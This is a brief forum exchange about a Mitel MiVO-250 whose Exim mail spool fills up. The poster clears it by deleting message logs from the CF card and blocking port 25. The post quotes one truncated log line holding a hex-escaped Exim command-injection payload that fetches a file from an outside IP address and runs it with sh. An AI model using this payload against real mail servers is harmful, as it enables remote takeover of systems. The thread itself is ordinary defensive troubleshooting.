jluisr,
That is not something that is known by certified technicians as that definitely falls into the category of call Mitel. It looks as though your spooler is holding onto mail and this happens with Unified Messaging on some versions of the system. Usually you call into Mitel and get them in and they fix it in a few minutes by clearing out the spool.
I am not so sure that the version of Exim run on the MiVO-250 falls into the versions that are vulnerable either, 4.87 to 4.91, as Mitel doesn't keep up with the latest and greatest on that.
Sorry,
TE
Thanks, but I just found an alternative solution, I bought CF card reader, I connect to my laptop, (linux reader partition from Windows as (Eassos) then I deleted all the files in /var/spool/exim/msglog/
You will have a couples files with weird names...inside something like this...
Too many "Received" headers - suspected mail loop
*** Frozen (delivery error message)
2019-06-09 23:19:05 routing failed for ${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2eyiln\x20\x26\x26\x20sh\x20
You can delete everthing inside this folder, Also made sure that the port 25 it's block from outside.
I hope this help.....